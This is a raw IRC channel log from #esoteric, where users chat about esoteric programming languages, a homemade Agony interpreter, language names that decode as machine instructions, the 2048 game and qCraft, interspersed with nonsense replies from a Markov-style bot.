:shikhout!~shikhin@unaffiliated/shikhin NICK :shikhin < 1395247769 453499 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395247982 80427 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :"There are 5,232 registered users, but most of them are spambots." xD < 1395247983 766950 :Slereahphone!~slereahph@90.84.145.99 QUIT :Remote host closed the connection < 1395248033 309319 :Slereahphone!~slereahph@90.84.145.99 JOIN :#esoteric < 1395248050 267775 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395248194 292111 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it says 5,235 now hth < 1395248229 683371 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also no one registered in between. < 1395248231 87481 :xpt_!uid17782@gateway/web/irccloud.com/x-mkmrdncipjcerggv JOIN :#esoteric < 1395248263 577060 :xpt_!uid17782@gateway/web/irccloud.com/x-mkmrdncipjcerggv NICK :xp < 1395248268 848869 :xp!uid17782@gateway/web/irccloud.com/x-mkmrdncipjcerggv QUIT :Client Quit < 1395248316 632909 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :http://esolangs.org/wiki/%E2%99%A6 < 1395248320 765678 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :can someone explain this? < 1395248427 38932 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :∟○∟ < 1395248485 121659 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :"wat" -- elliott < 1395248490 866409 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :____ < 1395248548 554680 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :♦/~ and ♦ should be swapped or something < 1395248554 489285 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's a dumb page to have at the top level < 1395248563 122300 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :and not categorised and stuff < 1395248612 817268 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Why is ♦ not a character of ♦ < 1395248638 490371 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Few languages have their name as one of their instructions < 1395248701 834628 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm there has to be one < 1395248743 827926 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :There is HQ9+ < 1395248744 280613 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well, Esme counts, CLEARLY < 1395248760 826549 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's not _one_ of its instructions, Jafet < 1395249080 937790 :constant!root@freebsd/developer/variable NICK :trout < 1395249250 106658 :password2!~password@197.78.129.40 JOIN :#esoteric < 1395249544 771614 :Slereahphone!~slereahph@90.84.145.99 QUIT :Write error: Broken pipe < 1395249703 297131 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Spyong < 1395250711 79958 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :anyone make hello world in clusterfuck (utilizing the added chars ofc) < 1395251614 205957 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@tell oerjan Also Ook! < 1395251614 260668 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395251653 77618 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :@tell oerjan At least more or less, if not quite. < 1395251653 454999 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1395251770 685762 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :preffy useless, just change <> in any brainfuck version to ^v < 1395251774 997318 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :*preffy < 1395251782 479422 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::P < 1395251843 897755 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :kmc: what kind of DRM-like features? < 1395251901 576964 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :"Esme is an esoteric programming language[citation needed]" < 1395251907 54071 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i already like it < 1395251913 440729 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :dick pic suppression < 1395252904 191992 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :FireFly: deleting photos from the receiver's device after n seconds < 1395253289 821666 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :heh. < 1395253407 423344 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: I feel like they're trying to sort of emulate the notion of a night out, or sitting around chatting with friends. < 1395253418 371454 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: People would get super mad if you had a recording device running at all times. < 1395253429 321462 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :(not that I use any of these services, just speculation) < 1395253528 269703 :Slereahphone!~slereahph@90.84.145.99 JOIN :#esoteric < 1395253740 435585 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1395254344 843917 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :agony is neat < 1395254413 616775 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :"most of the time backwards compatible with Brainfuck" ! < 1395254576 402672 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :SELECT. has its name as an instruction < 1395254721 814821 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395254752 259437 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pop eax; cmp byte ptr [esi], dh < 1395254906 792215 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395255068 134862 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1395255187 425253 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :did someone push something on the stack earlier, or did you just underflow the stack? < 1395255196 291660 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395255231 262628 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's relevant to Few languages have their name as one of their instructions < 1395255437 308464 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :c++ sort of does? at the very least, its name contains one of its instructions... < 1395255599 187936 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :which it stole from C ;-) < 1395255688 81047 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :http://24.media.tumblr.com/b0551c10cef630285d16b973731d77f0/tumblr_n2gltz0yJc1rugltbo1_1280.png bitcoin < 1395255890 347495 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :welp < 1395255913 760016 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Shark Jumped < 1395255988 163742 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I can see the connection: Both are a matter of belief. < 1395256030 384920 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :int-e: By that logic, you could say jesus loves nearly any currency < 1395256084 774632 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :"what is caesar's is caesar's. everything else? mine" < 1395256106 693954 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :maurer: ask the catholic church, they will agree. < 1395256208 816061 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :*googles* "Render to Caesar the things that are Caesar's; and to God the things that are God's." < 1395256265 203582 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :AMD64\n (in long mode) is xor al,0xa with four nonsense prefixes < 1395256622 19134 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :... useful. < 1395256808 178308 :password2!~password@197.78.129.40 QUIT :Ping timeout: 246 seconds < 1395256963 284741 :Bike!~Glossina@75-175-102-28.ptld.qwest.net QUIT :Ping timeout: 264 seconds < 1395257569 559224 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1395257577 121898 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395258939 736285 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Z80" in z80 is "ld e, d; jr c, $+50". < 1395259097 180729 :MoALTz!~no@user-5-173-181-155.play-internet.pl QUIT :Ping timeout: 246 seconds < 1395259127 770160 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395259582 372540 :Bike!~Glossina@75-175-102-28.ptld.qwest.net JOIN :#esoteric < 1395259594 812309 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1395259605 509915 :Bike!~Glossina@75-175-102-28.ptld.qwest.net NICK :Guest66962 < 1395259666 855184 :Guest66962!~Glossina@75-175-102-28.ptld.qwest.net NICK :Bike < 1395259684 235813 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Excess Flood < 1395259684 775850 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395259822 328188 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395260089 872391 :Slereahphone!~slereahph@90.84.145.99 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395260549 163729 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :https://twitter.com/Xythar/status/445426997313806336/photo/1/large the anime community attempts security < 1395260960 310907 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i was wondering why only 1 in 4billion of adamants files checked out < 1395261164 656524 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395262513 360362 :Bike!~Glossina@75-175-102-28.ptld.qwest.net QUIT :Ping timeout: 240 seconds < 1395263420 651868 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1395263463 499280 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Bike, ._. stupeid < 1395263953 744074 :Bike!~Glossina@75-175-102-28.ptld.qwest.net JOIN :#esoteric < 1395264266 187971 :shikhout!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1395264270 354830 :shikhin!~shikhin@unaffiliated/shikhin NICK :shikhout < 1395264336 524338 :shikherr!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395264578 246941 :shikherr!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395264641 189711 :shikhout!~shikhin@unaffiliated/shikhin QUIT :Ping timeout: 246 seconds < 1395266666 737053 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395266844 869559 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395266846 379931 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395267041 169874 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i made an agony inturpreter http://esolangs.org/wiki/Agony and the hello world example only prints "Hello" < 1395267060 580365 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :the brainfuck one works fine though < 1395267152 510759 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ah, its because only hello was encoded into it < 1395267165 805142 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :anyone mind if i change it? < 1395267423 578501 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :wait < 1395267424 32121 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :wat < 1395267442 22728 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :decoded it and its 0A 12 64 6C 72 6F 57 20 6F 6C 6C 65 48 < 1395267451 642135 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::< i must be doing something wrong < 1395267558 844761 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395267710 558799 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :sweet it works now < 1395267731 165038 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395268282 130856 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellørjan. < 1395268688 707442 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::D oerjan <3 < 1395268890 967626 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395269005 31367 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1395269076 328487 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :heily^v < 1395269102 160069 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages-loot < 1395269102 297025 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :fizzie said 4h 51m 28s ago: Also Ook! < 1395269102 351614 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :fizzie said 4h 50m 49s ago: At least more or less, if not quite. < 1395269249 808033 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I think... that was my question? < 1395269374 788190 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Bike: hahaha < 1395269584 188255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :am i evil for even _considering_ that we could put up Esme as featured April 1 language < 1395269596 927990 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(yes, obviously) < 1395269621 156314 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :if not, Ook! could be a good alternative. < 1395269636 567044 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(i don't think any of them are official candidates, or are they? < 1395269638 58003 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :) < 1395269649 81297 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :what is fungot's choice? < 1395269649 368593 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: i am just as confused. you, in that line, that i have gone totally wanting, and then you can choose fnord, but don't step on cursed items. his most distinctive features are. this explanation assumes that if the teen is getting sexually excited. right. i'm not doing anything to decrease the number of < 1395269677 170779 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I choose fnord! (without stepping on cursed items, of course.) < 1395269702 5096 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :we don't actually have a language named Fnord yet < 1395269709 675275 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395269821 487575 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :but, but... < 1395269848 289055 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's possible to correct that, i believe. < 1395270104 408241 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395270241 867614 :ion!ion@heh.fi PRIVMSG #esoteric :Oculus Rift Development Kit 2 http://youtu.be/OlXrjTh7vHc < 1395270379 802224 :stopreadingthis_!~chatzilla@72-28-222-028-dhcp.mia.fl.atlanticbb.net PRIVMSG #esoteric :What do you guys think about Benio http://benkreger.com/Benio.txt < 1395270536 809802 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :i want one that's pinku (that's japanese for pink) < 1395270656 973648 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Ping timeout: 252 seconds < 1395270713 720715 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net QUIT :Ping timeout: 252 seconds < 1395270878 436694 :Melvar!~melvar@dslb-092-072-133-213.pools.arcor-ip.net JOIN :#esoteric < 1395270951 206363 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :<3 agony < 1395270951 792976 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :20<ping>30 .encagony :3 this converts text into agony cod < 1395270952 6715 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :19<^v> ping, <[.<]$$$,$[~<~*~>{$+.~]~*~+~}{$~*+<~]~.{$+<+-~@+<{$+>+<+{~@+~~]~*~>{$+>~.~-+<{$>>>, < 1395270970 361770 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so, what should i code next < 1395270977 619018 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what's all this then < 1395270983 911260 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :eodermdrome hth < 1395271013 266246 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i added agony to my bot < 1395271041 786502 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :are there any esolangs where SAT solvers are the only viable implementation strategy? < 1395271046 682573 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :eodermdrome might be one < 1395271070 657277 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are some non-eso langs where the typechecker uses a SAT/SMT solver < 1395271756 594910 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :dammit. I never should have opened that page → http://gabrielecirulli.github.io/2048/ < 1395272094 356899 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :boily: well guess _why_ i didn't have time to read the logs earlier today < 1395272515 354777 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://ov3y.github.io/2048-AI/ http://doge2048.com/ http://www.csie.ntu.edu.tw/~b01902112/9007199254740992/ http://hczhcz.github.io/Flappy-2048/ < 1395272534 111546 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am sleepy < 1395272802 840806 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395272833 991905 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395273085 608654 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :kmc: you are a vile, very vile person. < 1395273091 256225 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: you are a sleepy person. < 1395273093 997031 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1395273103 112473 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395273189 582632 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I saw kmc's message about 2048 and my first thought was "that's isomorphic to multiplication" < 1395273213 276352 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :? < 1395273324 110869 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I don't know either < 1395273490 663600 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :hey, where can i get a useful inturpreter < 1395273507 13335 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :/usr/bin/perl < 1395273540 518557 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION tries out the doge-mille-quarante-huit version. ow. < 1395273543 569144 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :http://esolangs.org/wiki/Useful! < 1395273589 649451 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :boily: the background color really makes it < 1395273598 245293 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :it doesn't even need javascript! < 1395273614 279718 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :kids these days with their CSS animations < 1395273634 530225 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot praise zzo38 for maintaining a gopher site! < 1395273634 793604 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: something like scheme48 ( upon the general position is a part of these amendments, i can only thank the president-in-office, you did hear me say that we have had in getting information with regard to monetary policy, a factor is < 1395273636 123587 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(CSS animations can mostly happen off the main thread and so are way smoother) < 1395273659 942177 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style fungot < 1395273660 284882 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: fungot (What I've said myself) < 1395273736 882410 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :meanwhile, TIL you can have quantum physics in minecraft →http://qcraft.org/ < 1395273738 882199 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot < 1395273739 7928 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: perhaps, if i could but learn is when you're fairies, you know, that thing i don't give a damn. anmaster: i said, hoping to keep him from beginning and end of each title's description" fnord 22:23, 16, 32, 33, 34, 55, 56, 57, as bryant still had his glory days ahead of them must have brought it with blood is, he's a total of two conversion rates, in that line is a comment, unless the proposal on the general position is a p < 1395273758 371877 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wow < 1395273779 982828 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: fairies are important! they are an integral part of a healthy, balanced breakfast! < 1395273780 201502 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: or is it just me, or i: yet, you rogue! hey! is that for us! the chef's in a snit, trying to get food to the front lines. heard a spell to energize the sword takes immense evil! indeed! this thing. what you have? transform! this trading house. it's < 1395273780 521297 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh my alma mater is involved < 1395273792 170453 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the "Institute for Quantum Information and Matter" at Caltech < 1395273818 819536 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :anybody implement shor's algorithm in it yet? < 1395273929 324409 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 240 seconds < 1395273941 363658 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395273943 698568 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :this seems like a weird way to illustrate quantum < 1395274021 822135 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :it is weird. but it has interesting observable cubes! < 1395274162 147199 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Self's community seems deadish < 1395274189 308935 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :self, as in the programming language of the same name? < 1395274193 399195 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :yes < 1395274325 590389 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :are there notable instances of a PL coming back from the dead? < 1395274372 508159 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Haskell and Erlang languished in obscurity for many years before becoming widely known < 1395274379 301317 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but they were never quite dead < 1395274433 467442 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :they're more like undereconstructed zombie unicorns. < 1395274451 273808 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(reddit is fungotting weird. http://www.reddit.com/r/avocadosgonewild) < 1395274451 586646 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: and, dab, words like pop-culture should i have fizzie do is to base programming on a political responsibility of the member states, including numbers) < 1395274455 258553 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :was anybody outside Apple using Objective C between 1996 and 2001? probably < 1395274475 590490 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :kmc: Ruby languished in obscurity too < 1395274479 270720 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :true < 1395274480 540830 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(but it was popular inside Japan) < 1395274484 524009 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :big in japan < 1395274518 147229 :Froox!~Frooxius@cust-101.ktknet.cz QUIT :Quit: *bubbles away* < 1395274529 440821 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :does this mean that Ruby is made of faded off-white plastic and has 20 years of accumulated cigarette smell? < 1395274532 297804 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1395274558 507380 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :? < 1395274560 942890 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am going to get a drink then some sleep < 1395274671 85664 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION lightly mapoles kmc for confusing me even more than I already am < 1395274688 620091 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: have you been to japan < 1395274688 727965 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i am just as confused. you, in that line, that i have gone totally wanting, and then you can choose fnord, but don't need that much bad. take up, boy; open't. so, now go with, do miscarrie, thou had'st bin resolute pompey < 1395274740 980012 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hey, I bought a copy of H2G2 the other day < 1395274746 31941 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I forgot about that < 1395274763 973762 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: oh! first volume, or the whole trilogy? < 1395274769 665581 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Whole trilogy < 1395274776 742642 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Not the Eoin Colfer one though < 1395274785 406614 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: “open't”? that's some very interesting contraction. < 1395274785 683217 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: to " print" statement should always remember the songs on p2p apps in scheme, besides, was not beyond normal credibility articles sorted, perhaps, it may be said that particularly here, parliament will give a single instance, < 1395274796 152263 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But all the other 5 parts < 1395274820 800875 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: eh? I thought the trilogy only had 5 parts. < 1395274840 189231 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: so, an open't is some kind of prin't. < 1395274840 519579 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: something like scheme48 ( upon the general position is a part of these amendments, i can only thank the president-in-office, you did hear me say that we have had in getting information with regard to monetary policy, a factor is < 1395274867 235253 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: is? < 1395274867 536542 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: to, uhhh.... w.t.f lol... after is everything wen v miss something " it's going so slowly that the ' 90s citizens. i congratulate joe and jane average don't use linux < 1395274891 279223 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION *MAPOLES* fungot. “Linux is the Way to Be!” < 1395274891 672797 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: is. absorb it on my door, which was just perceptibly fnord and this yields nothing itself; it keeps being removed, the queen is a vain. yes is ticked). we'll know that's our memory...... calling...... that thing's not human... < 1395275588 739627 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1395275643 298241 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1395275747 707259 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395275913 730111 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^welcome BeingUntoDeath < 1395275914 25865 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :BeingUntoDeath: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of ... < 1395275930 240117 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :^relcome < 1395275953 412090 :Bike!~Glossina@75-175-102-28.ptld.qwest.net PRIVMSG #esoteric :we may have to go without in this time of difficulty, olsner < 1395276011 651481 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~metar CYUL < 1395276012 581093 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :CYUL 200008Z 16023KT 6SM -SN BKN025 OVC040 02/M05 A2991 RMK SC7SC1 SLP131 < 1395276014 841688 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :this is clearly unacceptable < 1395276016 272410 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :seriously what happened to HackEgo < 1395276021 14802 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :+2! +2! < 1395276054 28166 